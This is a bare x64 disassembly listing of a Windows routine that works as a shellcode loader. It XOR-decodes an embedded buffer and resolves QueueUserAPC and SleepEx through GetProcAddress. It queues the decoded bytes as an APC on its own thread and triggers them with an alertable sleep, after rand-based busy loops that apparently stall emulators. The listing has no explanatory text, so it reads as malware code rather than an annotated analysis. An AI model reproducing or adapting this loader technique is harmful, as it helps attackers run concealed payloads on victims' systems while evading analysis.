movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x5f0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x48
jle 0x14000297b
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x27
jle 0x14000296f
mov dword [rbp + 0x7e8], 0
jmp 0x140002a6e
mov dword [rbp + 0x7e4], 0
jmp 0x140002a5e
mov eax, dword [rbp + 0x7e8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x7e4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002a57
add dword [rbp + 0x7ec], 1
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x48
jle 0x140002a16
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x27
jle 0x140002a0a
cmp dword [rbp + 0x7ec], 0x5b4
je 0x140002a8d
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x804], 0
jmp 0x140002b1a
mov dword [rbp + 0x7dc], 0x122
mov dword [rbp + 0x7e0], 0x122
jmp 0x140002acc
sub dword [rbp + 0x7dc], 1
sub dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x3a
jg 0x140002abe
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x804]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x804], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x48a
jle 0x1400028f0
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7d4], 0
mov ecx, 0xbf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7d0], 0
jmp 0x140002c46
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7d8], eax
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x2fc
jle 0x140002bd8
mov dword [rbp + 0x7d0], 0
jmp 0x140002cce
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7d4]
mov eax, dword [rbp + 0x7d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5fc]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065f0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fe0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7d4], eax
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x2fc
jle 0x140002c5e
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7d4]
movss xmm1, dword [0x1400065f8]
divss xmm0, xmm1
movss dword [rbp + 0x604], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x604]
movq rax, xmm3
movq xmm0, rax
call fcn.140003e00
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x600], xmm0
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x610]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x850]
add rsp, 0x8e0
pop rsi
pop rdi
pop rbp
ret